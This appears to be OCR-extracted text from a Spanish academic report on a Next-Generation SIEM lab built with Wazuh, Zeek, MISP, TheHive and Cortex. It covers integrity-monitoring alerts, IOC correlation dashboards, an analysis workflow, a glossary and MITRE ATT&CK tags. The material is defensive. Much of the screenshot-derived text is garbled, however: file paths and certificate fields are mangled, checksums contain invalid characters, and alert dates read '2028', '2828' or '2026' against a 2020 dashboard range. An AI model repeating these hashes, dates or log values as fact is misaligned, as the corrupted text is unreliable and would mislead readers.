Logout

Subject
New York.C=US

adnxs.com.O=AppNexus\
CN=settings-win.data.microsoft.com,0U=WSE,0=Microsoft..=Redmond . ST-WA.C=US

martscreen.microsoft.com

rubiconproject.com.O=The Rubicon Project\. Inc. L=Los Angeles ST=California.C=US
CN=www.github.com,0=GitHub\, Inc.L=5an Francisco,ST=California,C=US

ithubassets.com, 0=GitHub\, Inc, L=San Francisco,ST=California,
msedge.net
etpostman.com

stmn.io

Issuer

CN=DigiCert SHA Secure Server CAO=DigiCert Inc.

CN=Amazon,0U=Server CA 1B,0=Amazon,

CN=DigiCert SHA2 High Assurance Server CA OU=www_digicert.com.

CN=Microsoft Secure Server CA 2011,0=Microsoft Corporation,L.=Redmond,ST-Washington,C:

CN=Microsoft IT TLS CA 1,0U=Microsoft IT,0=Microsoft Corporation,L.=Redmond,ST=Washington,
Encrypt Authority X3,0=Let's Encrypt.C=US

CN=DigiCert ECC Secure Server CA,O=DigiCert Inc.C=US

CN=GlobalSign CloudSSL CA - SHA256 - G3,0=GlobalSign ny

CN=Microsoft IT TLS CA 4,0U=Microsoft IT,0=Microsoft Corporation,L=Redmond,ST=Washington,

CN=Microsoft IT TLS CA 2,0U=Microsoft IT,0=Microsoft Corporation,L=Redmond,ST=Washington,
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5.1.2 FIM - Monitoreo de alteracion de objetos

lagent . name Q@ Q @ * winle

plert_level QamM* 7

klassification G Q M % "Bad word" matching

Hecoder.name @ Q [ % syscheck_integrity_ changed

description @ Q [0 * Integrity checksum changed.

event_type @ Q M % ossec

[full_leg @ Q M % File 'c:\usersiuser-\documents\basedeclientesvipinuevocliente.txt' checksum changed.

Size changed from 45" to '1%°

0ld mdSsum was: 'dSdeb93d3d49864c4dbTad69c7028b5c”

Mew mdSsum is : '@7595f519879d34e%abodd7a32de319d’

0ld shalsum was: "12481e7f32a17241135712e86186%9=3b7c2fc7al’

Mew shalsum is : 'e7d24a73b34849:490305036661322c136772e2d”

0ld sha256sum was: "64d271b477cd8efa@abebef38a39b4dbfedlag3feacbSedl@44b3cffedafsca’

Mew sha25Sesum is : "aab%@7e35a7cbevf2773eefa3dfobe3238b60535ce340739c83ch710b0d2ale "

0ld modification time was: 'Tue Jul 7 14:18:38 2028', now it is 'Tue Jul 7 14:28:28 2828°
<

< hugo_pagola
< javier_wvallejos
< hugo_pagola

> borrado de clientes

En la imagen se aprecia, como se realiz6 borrado de contenido en un

documento “nuevocliente.txt” y se verifica la variacion del hash.

5.1.3 Dashboard - Deteccion y métricas para SSL
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Decoder

pam

syscollector

windows_eventchannel
ossec

web-accesslog

«_integrity_changed

5.1.5 Dashboard

Alert Data

Zeek Hunting

Indicator

Alvaro Yaquemet

5.1.6 Dashboard

Process

CRON

su

sudo

sshd

ntpd
gnome-keyring-daemon
vboxadd-service
nm-dispatcher

udisksd

AptDaemon

Endpoints

Location

Nvarflog/auth.log
slog

syscollector

EventChannel

‘apache2/acc
last-n 20
netstat listening ports
packets_received

syscheck
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5.1.8 CTI - Comunicacion con IOCs

July 2nd 2020, 03:00:00.000 - July 2nd 2020, 06:00:00.000 —  Auto v

source_ip destination_ip interface port protocol destination_geo.location _score
Time alert classification
nd 2026, 05:58:55.204 10.19.10.180  91.159.59.1%% MISP e4 [] Outgoing To A Network Trojan was dete ngsiem-enpdsd  dB2ad uop t
™ ctea 1 "lon": -8.@931,
“lat": 51,5142
nd 2026, 05:58:45.147 10.19.10.148  34.236.61.108 MISP e4 [] Outgoing To A Network Trojan was dete ngsiem-enpdsd  dB2ad Tce t

® cted -1 "lon": -77.4728,

Luego de correlacionar indicadores de compromiso con los registros de
las fuentes de eventos, se puede reflejar en el Dashboard la existencia de

trafico permitido con destino reportado por actividades maliciosas.
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5.2 Generacion de reportes

5.2.1 Métricas - Flujo de Tareas del analisis automatizado

---------- = -
O v I e
- © o e
i [
—
—
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5.2.2 Métricas - Gestion de Incidentes

© Revelued cases by resalution © Comsgs

" it wic histary w =
- - o
2 ca
S
@ neoi - ® sewenyof =
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6. Metodologia de trabajo

6.1 Analisis manual de Alertas

El analisis manual de alertas se realiza por medio de las herramientas

implementadas como SOAR, retroalimentandose bidireccionalmente con feeds

integrados de inteligencia de la amenaza.

WAF N
FW Alertas Trafico H
Malicioso :

MISP N

ANTI-DDOS SIEM [€—*COLLABORATION| -
FEEDS -

, A .
IPSNDS Correlacion :
de frafico .

EDR E

8& elabors un Informa disrla con
Indicadorss relacionados 3 las 1Py
malicioazs y tamblen un pool de regias
Snartisuricata para detsctanbioqusar sn
IDSAPS &n 330 ds que o cugnts con
bloquea por McAteeTIE, Proxy, FW, por
cusstionss de Bsmpo yio performancs.

H

Informe olrio Tratamisnta ge akrtas
franica con 10Cs

10CIP

Alerta en TheHive

Automatizacion de
Analyzers via
Cortex API

Anglisis de
Observables

¢ Estd reportada
en los Gtlimos 30
dias?

Reputation>60/100?

Se desestima el
matching

Se crea CASO

Solicitud de blogueo

Flujo de trabajo NG-SIEM
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6.2 Analisis de comportamiento

Como dato de entrada, tenemos los registros y alertas en tiempo real. Los
mismos se investigan manualmente, a través de incidentes generados
automaticamente por SOAR. También, se puede realizar el andlisis por medio de
Dashboards armados especificamente para detecciéon de comportamiento anémalo
basado en probabilidad y estadistica.

6.3 Obtencion de indicadores sobre rangos amplios de tiempo

Por medio de los eventos gestionados en la solucion NG-SIEM, es posible
obtener informacién valiosa analizando largos periodos de tiempo. Se elaboran y
optimizan Dashboards, de forma tal que sea posible analizar desde “lo macro” las
distintas alertas que se generaron en un rango de tiempo definido. Puede ser para
todas las unidades de negocio, buscando tendencias de vectores de ataque como asi
también encontrar similitudes de indicadores de compromiso, definir cadena de
ataques y manipular la severidad de los indicadores proporcionados entre unidades
de negocio.

6.4 Informe de incidentes

El informe de incidente es el documento que expone las observaciones, tareas

y resultados que se identifican con el incidente. El mismo debe tener:

- Qué sucedi6

- La cronologia del acontecimiento

- Clasificacion y priorizacion del incidente

- Una lista de activos afectados

- Elimpacto del incidente en la organizacion

- Las decisiones que se tomaron para la contencion, el analisis y la
erradicacion.

- Los resultados de un andlisis de la causa raiz de por qué pudo haber ocurrido

el incidente.
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7. Analisis de resultados

Tras haber analizado los distintos inputs, tales como alertas manuales de
severidad alta, estadisticas de comportamiento, indicadores suministrados por
terceros, se realiza la gimnasia de la tarea de ciber inteligencia. Para dar como
resultado, la elaboracion de nuevos indicadores de compromiso, importando los
mismos a la plataforma MISP para ser compartidos. Generando a partir de entonces
nuevos bloqueos automaticos e indicadores propios de naturaleza maliciosa

comprobada.

Finalmente, el intercambio de informacion reciproco con distintas

organizaciones puede ayudar a que el mismo incidente no vuelva a suceder.

MISE Export

Export de IOCs hacia MISP para compartir informacion de amenazas
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8. Conclusiones

El trabajo proporciona una vision general a alto nivel de los componentes
necesarios para una plataforma de Next-Generation SIEM, asi como también provee
una vision realista, aunque simplista, sobre como utilizar la solucion para detectar,

analizar y responder a la dificultad que presentan las amenazas avanzadas.

También el desarrollo sobre como instalar, configurar y operar las distintas

herramientas en un entorno de pruebas.

La dificultad de realizacion y utilizacion de esta solucion es relativamente baja.
Con una buena configuracion de las herramientas, se podria descubrir indicadores de
riesgo iniciales en Endpoints/perimetro y utilizarlos como punto de partida en la
investigacion de incidentes. La herramienta Caldera, es de gran utilidad a la hora de
probar las soluciones de seguridad; asi como para comprender mejor cdmo se

ejecutan algunas técnicas.

En conjunto con SOAR se demostré como mejorar la eficiencia en la gestion y
construccion de informes de seguridad acordes a las mejores practicas, resolviendo

los incidentes de manera agil.

Cada punto de la infraestructura tiene puntos débiles y fuertes. Si optamos por
las herramientas adecuadas para monitorear la mayor cantidad de vectores de ataque
posibles, podemos cubrir la matriz de MITRE ATT&CK. Las lecciones aprendidas en
las investigaciones de seguridad se pueden utilizar para descubrir nuevos indicadores,
por medio de la correlacion entre los registros de infraestructura y los del modulo de
ciber inteligencia. De manera tal, que se haga foco en los riesgos relevantes y asi
mejorar la postura de seguridad.
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10. Glosario

Crawl Phase: La fase de rastreo implica navegar por la DarkWeb, seguir
enlaces, enviar formularios e iniciar sesion cuando sea necesario, para catalogar
contenido y rutas. Presenta una variedad de desafios para crear un mapa preciso de

posibles riesgos para activos de la informacion.

DDoS: Ataque de denegacion de servicio distribuido. Una variacion de DoS. En
un ataque DDoS el trafico malicioso entrante proviene de multiples origenes. Pueden
ser mas potentes y dificiles de mitigar.

ELK: Elasticsearch+Logstash+Kibana. Esta combinacion Open Source da
como resultado el producto ELK, que combina la capacidad de Logstash (una pila
dinamica enriquecida con plugins, para ingestar datos), la velocidad de busqueda de
Elasticsearch (motor para almacenar, buscar y analizar grandes volumenes de datos
en tiempo real) y la interfaz de Kibana (interfaz grafica web encargada de la

visualizacion mediante distintos diagramas y graficos)

Exploit Kits: Son paquetes de cédigo malicioso que suelen aprovechar varios

vectores de ataque para explotar vulnerabilidades conocidas o no.

Oday: Se denomina vulnerabilidad de dia O a los bugs encontrados que ain no
estan reportados o no tienen una cobertura por parte de los fabricantes de tecnologia

de seguridad informatica o una salvaguarda a disposicion de la comunidad.

|OC: son datos forenses que identifican actividades potencialmente maliciosas
en un sistema o red. Las organizaciones pueden detectarlos y actuar rapidamente

para evitar ataques durante sus primeros estadios.
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Reputacion de feeds: Se denomina a la probabilidad de ocurrencia negativa

sobre el negocio que posee un IOCs.

SPAN Port: Basicamente es un puerto configurado en el switch que obtiene una
duplicacién del trafico para utilizarlo en un IDS y ejecutar controles sin afectar la

disponibilidad de la red interna.

Malware: es un término amplio que describe cualquier programa o codigo

malicioso que es dafiino para los sistemas.

Incidentes de exfiltracion de datos: Hace referencia a cuando una organizacion

reconoce que fue atacada y vulnerada junto a sus posibles activos de informacién,

puede ser medido o no.

TTPs: Técnicas, Tacticas y Procedimientos catalogadas por la matriz de MITRE
ATT&CK.

Amenazas persistentes avanzadas: ataques dindmicos que evaden las

herramientas de seguridad informatica tradicionales por su naturaleza sigilosa. Suelen

estar controladas de forma remota.

CTI: Ciberinteligencia de la amenaza es un concepto de coleccion de
informacion de acuerdo con las tendencias actuales respecto de amenazas de

ciberseguridad.

Ransomware: cédigo malicioso que impide o limita el acceso de los usuarios a
Su sistema, ya sea bloquear la pantalla o cifrando archivos hasta que se pague un

rescate.
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Observables: Son los registros y otros datos que se crean para evaluar
indicador de ataque que pueden ser analizados para afiadir inteligencia a los motores

de correlacion.

HTTP: Protocolo de transferencia de hipertexto. Un protocolo utilizado para

servir contenido web desde un servidor a un cliente.

HTTPS: Protocolo de transferencia de hipertexto seguro. Extension de HTTP

que utiliza SSL o TLS para cifrar la comunicacion.

IP: Protocolo de Internet. Un protocolo de red que divide el tréfico en paquetes.
Los dispositivos se identifican mediante direcciones IP.

IDS: Sistema de deteccion de intrusos. Un producto de hardware y software
gue analiza la informacion de una computadora o una red de computadoras para

identificar posibles brechas de seguridad.

IPS: Sistema de Prevencién de Intrusién. Similar a un IDS, pero un IPS también
es capaz de detener la brecha de seguridad identificada, por ejemplo, bloqueando la

conexion de red maliciosa.

LAN: Red de area local. Una red informatica que conecta dispositivos capaces

de funcionar en red dentro de un area limitada, como una residencia o una escuela.

MitM: Hombre en el ataque de Medio. Un ataque en el que el atacante se coloca
en secreto entre dos 0 mas partes que se estan comunicando. El atacante puede

intentar alterar las comunicaciones o recopilar datos.
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SIEM: Informacion de seguridad y gestion de eventos. Un software o un
dispositivo que es capaz de analizar y correlacionar grandes cantidades de eventos
de seguridad casi en tiempo real. Los productos SIEM maduros también son capaces
de generar alertas y visualizar datos relacionados con la seguridad.

SOAR: Ayuda a organizar, ejecutar y automatizar tareas entre varias personas
y herramientas de seguridad. Ademas, estandariza el analisis de incidentes y los

procedimientos de respuesta.

Docker: Una plataforma abierta para desarrollar, enviar y ejecutar aplicaciones
que permite empaquetar proyectos con todas sus dependencias Unicamente
necesarias en un simple binario, de forma aislada al resto de aplicaciones que puedan

convivir en una misma maquina.

Docker-Compose: Es una herramienta para definir y ejecutar aplicaciones

Docker multicontenedor que permite simplificar el uso de Docker a partir de archivos
YAML, de esta manera se simplifica la creacién de contendores que se relacionen

entre si, conectarlos, habilitar puertos, volumenes, etc.

Apache Cassandra: Un software de base de datos de denominaciéon NoSQL

que permite el manejo masivo de datos, de una manera escalable, tiene capacidad
lineal de escalar. Posee conceptos muy innovadores como el soporte multi-data center

o la comunicacion P2P entre nodos.
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Catalogo de Integraciones con feeds para inteligencia de la amenaza
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Las integraciones via APl de SOAR con las diferentes fuentes de informacion

permite orquestar inteligencia de la amenaza; con el fin de automatizar tareas de

analisis.

A continuacion, se enumeran algunas de las integraciones probadas:
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Threatintell-Feeds NEE_EEi_t?
suscripcion
DShield No
UrlScan No
URLHaus No
MISP No
AbuselPDB No
AlienvaultOTx Mo
SinkDB No
Shodan Si
MERD Si
VirusTotal Si
PassiveTotal Si
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12. Anexo B

Tags

El objetivo de los tags es agrupar los casos por tipo, ir obteniendo estadisticas

y utilizar el lenguaje comun para la elaboracion de reportes.

MITRE ATT&CK - Tacticas:

TAOO0O1:

TA0002:

TAO0O03:

TAO0004:

TAOO0O5:

TAO0006:

TAOO0O7:

TAO0008:

TAO0009:

TAO0010:

TAOO11:

TAO0012:
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ACCESO INICIAL
EJECUCION

PERSISTENCIA

ESCALAMIENTO DE PRIVILEGIOS
EVASION DE DEFENSAS
ACCESO A CREDENCIALES
DESCUBRIMIENTO

MOVIMIENTO LATERAL
RECOLECCION

EXFILTRACION

COMANDO Y CONTROL

IMPACTO
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Otras:

MALWARE: Cédigo malicioso

HACK: Hacking, defacement, acceso no autorizado
DDOS: Denegacion de servicio (Distribuido o no)
PHISHING: Phishing

ANOMALIAS: Anomalias

FORENSE: Analisis forense

FUGA: Fuga de Informacion

VULNS: Vulnerabilidad expuesta

AMENAZA: Aumento de la amenaza

HUNTING: Tareas de Hunting
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13. Anexo C

Matriz MITRE ATT&CK
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